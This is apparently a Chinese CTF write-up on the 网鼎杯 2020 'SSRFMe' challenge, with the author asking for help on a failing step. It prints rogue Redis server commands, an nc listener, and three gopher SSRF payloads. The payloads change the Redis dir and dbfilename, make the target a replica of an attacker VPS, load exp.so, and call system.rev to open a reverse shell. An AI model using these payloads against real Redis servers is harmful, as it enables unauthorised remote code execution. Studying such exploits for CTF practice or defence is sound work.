SSRF打redis主从
受不了了。
打的题目是网鼎杯2020玄武组的SSRFMe。
打了一天,都是在module load那里失败,开了vps也不行,难道是redis版本对不上?
话不多说,我直接上payload,实在受不了了。
[root@EddieMurphy redis-7.0.2]# redis-server redis.conf [root@EddieMurphy redis-rogue-server-master]# python3 redis-rogue-server.py --rhost=127.0.0.1 --lhost=vps [root@EddieMurphy ~]# nc -lvp 6663
先在vps上起一个redis和rogue,工具用的redis-rogue-server-master,含有exp.so文件,直接用,redis的rhost默认端口是6379,vps的lhost默认端口是21000。
然后就是gopher打url:网上的构造脚本一大把
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520vps%252021000%250d%250aquit gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%2520vps%25206663%250d%250aquit
第一个设置tmp为备份目录,第二个设一个filename并且设置靶机自己成为从服务器,vps上起的redis为主服务器,第三个module load exp.so,然后利用exp.so文件里的system模块RCE。
然而我第三个payload稳定报错,尝试了其他payload发现就是module load这里出错,也就是我的exp.so没传上去过。
正常情况下应该就通了,但so文件传不上去,也就会出现识别不了后面system的RCE命令。
但思路就是这样,还是挺清晰的。
最后我想到的问题就是会不会是我redis版本有问题,因为这个主从RCE漏洞是redis4.x~redis5.0.5版本,我本地的主redis版本为7.0.2,会不会因为这个原因导致我本地的exp.so传不到靶机的从redis上。
也希望各位大佬解惑。